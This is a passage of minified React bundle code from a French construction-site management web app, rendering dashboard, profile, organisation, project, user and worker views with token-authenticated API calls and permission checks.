text-stone-400&quot;,children:&quot;Bonjour,&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-xl font-semibold text-stone-50&quot;,children:u==null?void 0:u.full_name}),n.jsxs(&quot;p&quot;,{className:&quot;mt-1 text-xs text-stone-500&quot;,children:[&quot;Rôle : &quot;,n.jsx(&quot;span&quot;,{className:&quot;text-stone-400&quot;,children:u?Ci(u.role):&quot;—&quot;}),u!=null&amp;&amp;u.organization?n.jsxs(n.Fragment,{children:[&quot; &quot;,&quot;· &quot;,n.jsx(&quot;span&quot;,{className:&quot;text-stone-400&quot;,children:u.organization.name})]}):null]}),d&amp;&amp;r?n.jsxs(&quot;p&quot;,{className:&quot;mt-2 rounded-xl border border-stone-800 bg-stone-900/50 px-3 py-2 text-xs text-stone-400&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-amber-500/90&quot;,children:&quot;Chantier actif :&quot;}),&quot; &quot;,n.jsx(be,{to:`/projects/${r}`,className:&quot;text-stone-200 underline-offset-2 hover:underline&quot;,children:d.name})]}):c(&quot;projects.view&quot;)?n.jsx(&quot;p&quot;,{className:&quot;mt-2 text-xs text-stone-600&quot;,children:&quot;Aucun chantier sélectionné — choisissez-en un dans l’en-tête ou la liste chantiers.&quot;}):null]}),n.jsxs(&quot;section&quot;,{children:[n.jsx(&quot;h2&quot;,{className:&quot;text-sm font-medium text-stone-300&quot;,children:&quot;Raccourcis MVP&quot;}),n.jsx(&quot;ul&quot;,{className:&quot;mt-3 grid gap-2 sm:grid-cols-2&quot;,children:f.map(p=&gt;n.jsx(&quot;li&quot;,{children:n.jsxs(be,{to:p.to,className:ft,children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:p.title}),n.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:p.hint})]})},p.to))}),f.length===0?n.jsx(&quot;p&quot;,{className:&quot;mt-3 text-sm text-stone-500&quot;,children:&quot;Aucun raccourci accessible avec vos habilitations.&quot;}):null]})]})}function Dv(){const{user:u,logout:c}=Oe();return n.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;h1&quot;,{className:&quot;text-lg font-semibold text-stone-50&quot;,children:&quot;Profil&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:u==null?void 0:u.email})]}),n.jsxs(&quot;div&quot;,{className:&quot;rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3&quot;,children:[n.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium uppercase tracking-wide text-stone-500&quot;,children:&quot;Habilitations (UX)&quot;}),n.jsx(&quot;ul&quot;,{className:&quot;mt-2 flex flex-wrap gap-1.5&quot;,children:((u==null?void 0:u.abilities)??[]).map(d=&gt;n.jsx(&quot;li&quot;,{className:&quot;rounded-md bg-stone-800 px-2 py-0.5 font-mono text-[11px] text-stone-300&quot;,children:d},d))})]}),n.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;void c(),className:&quot;w-full rounded-xl border border-stone-700 py-3 text-sm font-medium text-stone-200 hover:bg-stone-900&quot;,children:&quot;Se déconnecter&quot;})]})}function ne({backTo:u,title:c,subtitle:d}){return n.jsxs(&quot;div&quot;,{className:&quot;mb-5 space-y-1&quot;,children:[u?n.jsx(be,{to:u,className:&quot;inline-block text-xs font-medium text-amber-500 hover:text-amber-400&quot;,children:&quot;← Retour&quot;}):null,n.jsx(&quot;h1&quot;,{className:&quot;text-lg font-semibold text-stone-50&quot;,children:c}),d?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:d}):null]})}function Mv(){const{token:u,can:c}=Oe(),[d,r]=m.useState(null),[f,p]=m.useState(null),[y,v]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;organizations.view&quot;)){v(!1);return}let g=!1;return(async()=&gt;{try{const x=await le(&quot;/api/v1/organizations/current&quot;,{method:&quot;GET&quot;,token:u});g||r(x.data)}catch(x){g||p(x instanceof xe?x.message:&quot;Chargement impossible&quot;)}finally{g||v(!1)}})(),()=&gt;{g=!0}},[u,c]),c(&quot;organizations.view&quot;)?y?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):f?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Organisation&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:f})]}):n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:&quot;/&quot;,title:&quot;Organisation courante&quot;}),d?n.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase tracking-wide text-stone-500&quot;,children:&quot;Nom&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;font-medium text-stone-100&quot;,children:d.name})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase tracking-wide text-stone-500&quot;,children:&quot;Slug&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;font-mono text-stone-300&quot;,children:d.slug})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase tracking-wide text-stone-500&quot;,children:&quot;Statut&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:d.status})]})]}):null]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Organisation&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Vous n’avez pas l’habilitation organizations.view.&quot;})]})}function Uv(){const{token:u,can:c,user:d}=Oe(),{setActiveProjectId:r}=ot(),[f,p]=m.useState([]),[y,v]=m.useState(null),[g,x]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;projects.view&quot;)){x(!1);return}let N=!1;return(async()=&gt;{try{const b=await le(&quot;/api/v1/projects?per_page=100&amp;sort=name&quot;,{method:&quot;GET&quot;,token:u});N||p(b.data)}catch(b){N||v(b instanceof xe?b.message:&quot;Erreur&quot;)}finally{N||x(!1)}})(),()=&gt;{N=!0}},[u,c]),c(&quot;projects.view&quot;)?n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:&quot;/&quot;,title:&quot;Chantiers&quot;,subtitle:&quot;Projets visibles selon votre rôle et vos accès.&quot;}),(d==null?void 0:d.role)===&quot;entrepreneur_admin&quot;&amp;&amp;c(&quot;projects.manage&quot;)?n.jsx(be,{to:&quot;/projects/new&quot;,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouveau chantier&quot;}):null,y?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:y}):null,g?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,n.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:f.map(N=&gt;n.jsx(&quot;li&quot;,{children:n.jsxs(be,{to:`/projects/${N.id}`,className:ft,onClick:()=&gt;r(N.id),children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:N.name}),n.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[N.code??&quot;—&quot;,&quot; · &quot;,N.status]})]})},N.id))}),!g&amp;&amp;f.length===0?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucun chantier accessible.&quot;}):null]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Chantiers&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (projects.view).&quot;})]})}function Hv(){const{projectId:u}=at(),c=Number(u),{token:d,can:r}=Oe(),{setActiveProjectId:f}=ot(),[p,y]=m.useState(null),[v,g]=m.useState(null),[x,N]=m.useState(!0);if(m.useEffect(()=&gt;{if(!Number.isFinite(c)||!d){N(!1);return}f(c);let T=!1;return(async()=&gt;{try{const G=await le(`/api/v1/projects/${c}`,{method:&quot;GET&quot;,token:d});T||y(G.data)}catch(G){T||g(G instanceof xe?G.message:&quot;Chargement impossible&quot;)}finally{T||N(!1)}})(),()=&gt;{T=!0}},[c,d,f]),!Number.isFinite(c))return n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;});if(x)return n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;});if(v||!p)return n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:&quot;/projects&quot;,title:&quot;Chantier&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:v??&quot;Introuvable&quot;})]});const b=p.id;return n.jsxs(&quot;div&quot;,{className:&quot;space-y-5&quot;,children:[n.jsx(ne,{backTo:&quot;/projects&quot;,title:p.name,subtitle:p.code??void 0}),n.jsxs(&quot;div&quot;,{className:&quot;rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm text-stone-300&quot;,children:[n.jsxs(&quot;p&quot;,{children:[n.jsx(&quot;span&quot;,{className:&quot;text-stone-500&quot;,children:&quot;Statut :&quot;}),&quot; &quot;,p.status]}),p.location?n.jsxs(&quot;p&quot;,{className:&quot;mt-1&quot;,children:[n.jsx(&quot;span&quot;,{className:&quot;text-stone-500&quot;,children:&quot;Lieu :&quot;}),&quot; &quot;,p.location]}):null,p.description?n.jsx(&quot;p&quot;,{className:&quot;mt-2 text-stone-400&quot;,children:p.description}):null]}),n.jsx(&quot;div&quot;,{className:&quot;flex flex-wrap gap-2&quot;,children:r(&quot;projects.manage&quot;)?n.jsx(be,{to:`/projects/${b}/edit`,className:Xt,children:&quot;Modifier&quot;}):null}),n.jsxs(&quot;section&quot;,{children:[n.jsx(&quot;h2&quot;,{className:&quot;text-xs font-semibold uppercase tracking-wide text-stone-500&quot;,children:&quot;Périmètre chantier&quot;}),n.jsxs(&quot;ul&quot;,{className:&quot;mt-2 space-y-2&quot;,children:[r(&quot;teams.view&quot;)?n.jsx(&quot;li&quot;,{children:n.jsxs(be,{to:`/projects/${b}/teams`,className:ft,children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:&quot;Équipes&quot;}),n.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:&quot;Équipes rattachées au chantier&quot;})]})}):null,r(&quot;worker_assignments.view&quot;)?n.jsx(&quot;li&quot;,{children:n.jsxs(be,{to:`/projects/${b}/assignments`,className:ft,children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:&quot;Affectations ouvriers&quot;}),n.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:&quot;Présence sur le chantier&quot;})]})}):null,r(&quot;projects.manage&quot;)?n.jsx(&quot;li&quot;,{children:n.jsxs(be,{to:`/projects/${b}/access`,className:ft,children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:&quot;Accès utilisateurs&quot;}),n.jsx(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:&quot;Qui voit ce chantier (hors rôles org.)&quot;})]})}):null]})]})]})}const qv=[{value:&quot;preparation&quot;,label:&quot;Préparation&quot;},{value:&quot;active&quot;,label:&quot;Actif&quot;},{value:&quot;suspended&quot;,label:&quot;Suspendu&quot;},{value:&quot;completed&quot;,label:&quot;Terminé&quot;}];function Dm(){const{projectId:u}=at(),c=u?Number(u):null,d=Number.isFinite(c),r=Wt(),{token:f,can:p,user:y}=Oe(),{refreshProjects:v}=ot(),[g,x]=m.useState(&quot;&quot;),[N,b]=m.useState(&quot;&quot;),[T,G]=m.useState(&quot;&quot;),[O,H]=m.useState(&quot;&quot;),[M,k]=m.useState(&quot;&quot;),[F,K]=m.useState(&quot;&quot;),[ee,I]=m.useState(&quot;preparation&quot;),[J,B]=m.useState(&quot;&quot;),[R,Q]=m.useState([]),[W,P]=m.useState(null),[D,te]=m.useState(!1),[$,ae]=m.useState(d);m.useEffect(()=&gt;{if(!f||!p(&quot;users.view&quot;))return;let Y=!1;return(async()=&gt;{try{const ie=await le(&quot;/api/v1/users?per_page=100&amp;sort=full_name&quot;,{method:&quot;GET&quot;,token:f});Y||Q(ie.data)}catch{}})(),()=&gt;{Y=!0}},[f,p]),m.useEffect(()=&gt;{if(!d||!f||c===null||!Number.isFinite(c)){ae(!1);return}let Y=!1;return(async()=&gt;{try{const ie=await le(`/api/v1/projects/${c}`,{method:&quot;GET&quot;,token:f});if(!Y){const me=ie.data;x(me.name),b(me.code??&quot;&quot;),G(me.description??&quot;&quot;),H(me.location??&quot;&quot;),k(me.start_date??&quot;&quot;),K(me.expected_end_date??&quot;&quot;),I(me.status),B(me.site_manager_user_id?String(me.site_manager_user_id):&quot;&quot;)}}catch(ie){Y||P(ie instanceof xe?ie.message:&quot;Chargement impossible&quot;)}finally{Y||ae(!1)}})(),()=&gt;{Y=!0}},[d,c,f]);async function w(Y){if(Y.preventDefault(),!f)return;P(null),te(!0);const ie={name:g,code:N||null,description:T||null,location:O||null,start_date:M||null,expected_end_date:F||null,status:ee,site_manager_user_id:J?Number(J):null};try{d&amp;&amp;c!==null?await le(`/api/v1/projects/${c}`,{method:&quot;PATCH&quot;,token:f,body:JSON.stringify(ie)}):await le(&quot;/api/v1/projects&quot;,{method:&quot;POST&quot;,token:f,body:JSON.stringify(ie)}),await v(),r(d?`/projects/${c}`:&quot;/projects&quot;)}catch(me){P(me instanceof xe?me.message:&quot;Enregistrement impossible&quot;)}finally{te(!1)}}return p(&quot;projects.manage&quot;)?!d&amp;&amp;(y==null?void 0:y.role)!==&quot;entrepreneur_admin&quot;?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:&quot;/projects&quot;,title:&quot;Nouveau chantier&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Seul le rôle entrepreneur (admin) peut créer un chantier dans le MVP.&quot;})]}):$?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:d&amp;&amp;c!==null?`/projects/${c}`:&quot;/projects&quot;,title:d?&quot;Modifier le chantier&quot;:&quot;Nouveau chantier&quot;}),n.jsxs(&quot;form&quot;,{onSubmit:Y=&gt;void w(Y),className:&quot;space-y-4&quot;,children:[W?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:W}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;p-name&quot;,className:re,children:&quot;Nom&quot;}),n.jsx(&quot;input&quot;,{id:&quot;p-name&quot;,className:oe,value:g,onChange:Y=&gt;x(Y.target.value),required:!0})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;p-code&quot;,className:re,children:&quot;Code&quot;}),n.jsx(&quot;input&quot;,{id:&quot;p-code&quot;,className:oe,value:N,onChange:Y=&gt;b(Y.target.value)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;p-desc&quot;,className:re,children:&quot;Description&quot;}),n.jsx(&quot;textarea&quot;,{id:&quot;p-desc&quot;,className:oe,rows:3,value:T,onChange:Y=&gt;G(Y.target.value)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;p-loc&quot;,className:re,children:&quot;Lieu&quot;}),n.jsx(&quot;input&quot;,{id:&quot;p-loc&quot;,className:oe,value:O,onChange:Y=&gt;H(Y.target.value)})]}),n.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;p-start&quot;,className:re,children:&quot;Début&quot;}),n.jsx(&quot;input&quot;,{id:&quot;p-start&quot;,type:&quot;date&quot;,className:oe,value:M,onChange:Y=&gt;k(Y.target.value)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;p-end&quot;,className:re,children:&quot;Fin prévue&quot;}),n.jsx(&quot;input&quot;,{id:&quot;p-end&quot;,type:&quot;date&quot;,className:oe,value:F,onChange:Y=&gt;K(Y.target.value)})]})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;p-status&quot;,className:re,children:&quot;Statut&quot;}),n.jsx(&quot;select&quot;,{id:&quot;p-status&quot;,className:oe,value:ee,onChange:Y=&gt;I(Y.target.value),children:qv.map(Y=&gt;n.jsx(&quot;option&quot;,{value:Y.value,children:Y.label},Y.value))})]}),p(&quot;users.view&quot;)?n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;p-sm&quot;,className:re,children:&quot;Responsable site (utilisateur)&quot;}),n.jsxs(&quot;select&quot;,{id:&quot;p-sm&quot;,className:oe,value:J,onChange:Y=&gt;B(Y.target.value),children:[n.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),R.map(Y=&gt;n.jsxs(&quot;option&quot;,{value:Y.id,children:[Y.full_name,&quot; (&quot;,Y.email,&quot;)&quot;]},Y.id))]})]}):null,n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:D,className:ht,children:D?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Chantier&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec projects.manage (hors financier).&quot;})]})}function Bv(){const{token:u,can:c}=Oe(),[d,r]=m.useState([]),[f,p]=m.useState(null),[y,v]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;users.view&quot;)){v(!1);return}let g=!1;return(async()=&gt;{try{const x=await le(&quot;/api/v1/users?per_page=100&amp;sort=full_name&quot;,{method:&quot;GET&quot;,token:u});g||r(x.data)}catch(x){g||p(x instanceof xe?x.message:&quot;Erreur&quot;)}finally{g||v(!1)}})(),()=&gt;{g=!0}},[u,c]),c(&quot;users.view&quot;)?n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:&quot;/&quot;,title:&quot;Utilisateurs&quot;}),c(&quot;users.manage&quot;)?n.jsx(be,{to:&quot;/users/new&quot;,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvel utilisateur&quot;}):null,f?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:f}):null,y?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,n.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:d.map(g=&gt;n.jsx(&quot;li&quot;,{children:n.jsxs(be,{to:`/users/${g.id}`,className:ft,children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:g.full_name}),n.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[g.email,&quot; · &quot;,Ci(g.role),g.is_active?&quot;&quot;:&quot; · inactif&quot;]})]})},g.id))}),!y&amp;&amp;d.length===0?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Aucun utilisateur.&quot;}):null]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Utilisateurs&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé à l’entrepreneur admin (MVP).&quot;})]})}function Lv(){const{userId:u}=at(),c=Number(u),{token:d,can:r}=Oe(),[f,p]=m.useState(null),[y,v]=m.useState(null),[g,x]=m.useState(!0);return m.useEffect(()=&gt;{if(!Number.isFinite(c)||!d||!r(&quot;users.view&quot;)){x(!1);return}let N=!1;return(async()=&gt;{try{const b=await le(`/api/v1/users/${c}`,{method:&quot;GET&quot;,token:d});N||p(b.data)}catch(b){N||v(b instanceof xe?b.message:&quot;Erreur&quot;)}finally{N||x(!1)}})(),()=&gt;{N=!0}},[c,d,r]),r(&quot;users.view&quot;)?Number.isFinite(c)?g?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):y||!f?n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:&quot;/users&quot;,title:&quot;Utilisateur&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:y??&quot;Introuvable&quot;})]}):n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:&quot;/users&quot;,title:f.full_name}),n.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/40 px-4 py-3 text-sm&quot;,children:[n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;E-mail&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:f.email})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Téléphone&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:f.phone??&quot;—&quot;})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Rôle&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:Ci(f.role)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;dt&quot;,{className:&quot;text-xs uppercase text-stone-500&quot;,children:&quot;Actif&quot;}),n.jsx(&quot;dd&quot;,{className:&quot;text-stone-200&quot;,children:f.is_active?&quot;oui&quot;:&quot;non&quot;})]})]}),r(&quot;users.manage&quot;)?n.jsx(be,{to:`/users/${f.id}/edit`,className:`inline-block ${Xt}`,children:&quot;Modifier&quot;}):null]}):n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Utilisateur&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Mm(){const{userId:u}=at(),c=u?Number(u):null,d=Number.isFinite(c),r=Wt(),{token:f,can:p}=Oe(),[y,v]=m.useState(&quot;&quot;),[g,x]=m.useState(&quot;&quot;),[N,b]=m.useState(&quot;&quot;),[T,G]=m.useState(&quot;chef_chantier&quot;),[O,H]=m.useState(&quot;&quot;),[M,k]=m.useState(&quot;&quot;),[F,K]=m.useState(!0),[ee,I]=m.useState(null),[J,B]=m.useState(!1),[R,Q]=m.useState(d);m.useEffect(()=&gt;{if(!d||!f||c===null||!Number.isFinite(c)){Q(!1);return}if(!p(&quot;users.manage&quot;)){Q(!1);return}let P=!1;return(async()=&gt;{try{const D=await le(`/api/v1/users/${c}`,{method:&quot;GET&quot;,token:f});if(!P){const te=D.data;v(te.full_name),x(te.email),b(te.phone??&quot;&quot;),G(te.role),K(te.is_active)}}catch(D){P||I(D instanceof xe?D.message:&quot;Chargement impossible&quot;)}finally{P||Q(!1)}})(),()=&gt;{P=!0}},[d,c,f,p]);async function W(P){if(P.preventDefault(),!!f){I(null),B(!0);try{if(d&amp;&amp;c!==null){const D={full_name:y,email:g,phone:N||null,role:T,is_active:F};O&amp;&amp;(D.password=O,D.password_confirmation=M),await le(`/api/v1/users/${c}`,{method:&quot;PATCH&quot;,token:f,body:JSON.stringify(D)}),r(`/users/${c}`)}else await le(&quot;/api/v1/users&quot;,{method:&quot;POST&quot;,token:f,body:JSON.stringify({full_name:y,email:g,phone:N||null,role:T,password:O,password_confirmation:M,is_active:F})}),r(&quot;/users&quot;)}catch(D){I(D instanceof xe?D.message:&quot;Enregistrement impossible&quot;)}finally{B(!1)}}}return p(&quot;users.manage&quot;)?R?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{backTo:d&amp;&amp;c!==null?`/users/${c}`:&quot;/users&quot;,title:d?&quot;Modifier l’utilisateur&quot;:&quot;Nouvel utilisateur&quot;}),n.jsxs(&quot;form&quot;,{onSubmit:P=&gt;void W(P),className:&quot;space-y-4&quot;,children:[ee?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:ee}):null,n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;u-name&quot;,className:re,children:&quot;Nom complet&quot;}),n.jsx(&quot;input&quot;,{id:&quot;u-name&quot;,className:oe,value:y,onChange:P=&gt;v(P.target.value),required:!0})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;u-email&quot;,className:re,children:&quot;E-mail&quot;}),n.jsx(&quot;input&quot;,{id:&quot;u-email&quot;,type:&quot;email&quot;,className:oe,value:g,onChange:P=&gt;x(P.target.value),required:!0})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;u-phone&quot;,className:re,children:&quot;Téléphone&quot;}),n.jsx(&quot;input&quot;,{id:&quot;u-phone&quot;,className:oe,value:N,onChange:P=&gt;b(P.target.value)})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;u-role&quot;,className:re,children:&quot;Rôle&quot;}),n.jsx(&quot;select&quot;,{id:&quot;u-role&quot;,className:oe,value:T,onChange:P=&gt;G(P.target.value),children:ih.map(P=&gt;n.jsx(&quot;option&quot;,{value:P.value,children:P.label},P.value))})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;u-pass&quot;,className:re,children:d?&quot;Nouveau mot de passe (optionnel)&quot;:&quot;Mot de passe&quot;}),n.jsx(&quot;input&quot;,{id:&quot;u-pass&quot;,type:&quot;password&quot;,autoComplete:&quot;new-password&quot;,className:oe,value:O,onChange:P=&gt;H(P.target.value),required:!d})]}),n.jsxs(&quot;div&quot;,{children:[n.jsx(&quot;label&quot;,{htmlFor:&quot;u-pass2&quot;,className:re,children:&quot;Confirmation&quot;}),n.jsx(&quot;input&quot;,{id:&quot;u-pass2&quot;,type:&quot;password&quot;,autoComplete:&quot;new-password&quot;,className:oe,value:M,onChange:P=&gt;k(P.target.value),required:!d||!!O})]}),n.jsxs(&quot;label&quot;,{className:&quot;flex items-center gap-2 text-sm text-stone-300&quot;,children:[n.jsx(&quot;input&quot;,{type:&quot;checkbox&quot;,checked:F,onChange:P=&gt;K(P.target.checked)}),&quot;Compte actif&quot;]}),n.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:J,className:ht,children:J?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):n.jsxs(&quot;div&quot;,{children:[n.jsx(ne,{title:&quot;Utilisateur&quot;}),n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé à l’entrepreneur admin.&quot;})]})}function kv(){const{token:u,can:c}=Oe(),[d,r]=m.useState([]),[f,p]=m.useState(null),[y,v]=m.useState(!0);return m.useEffect(()=&gt;{if(!u||!c(&quot;workers.view&quot;)){v(!1);return}let g=!1;return(async()=&gt;{try{const x=await le(&quot;/api/v1/workers?per_page=100&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:u});g||r(x.data)}catch(x){g||p(x instanceof xe?x.message:&quot;Erreur&quot;)}finally{g||v(!1)}})(),()=&gt;{g=!0}},[u,c]),c(&quot;workers.view&quot;)?n.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[n.jsx(ne,{backTo:&quot;/&quot;,title:&quot;Ouvriers&quot;}),c(&quot;workers.manage&quot;)?n.jsx(be,{to:&quot;/workers/new&quot;,className:&quot;block rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Nouvel ouvrier&quot;}):null,f?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:f}):null,y?n.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,n.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:d.map(g=&gt;n.jsx(&quot;li&quot;,{children:n.jsxs(be,{to:`/workers/${g.id}`,className:ft,children:[n.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:g.display_name}),n.jsxs(&quot;span&quot;,{className:&quot;mt-0.5 block text-xs text-stone-500&quot;,children:[g.external_reference??&quot;—&quot;,&quot; · &quot;,g.specialty??&quot;spécialité —&quot;,g.is_active?&quot;&quot;:&quot; · 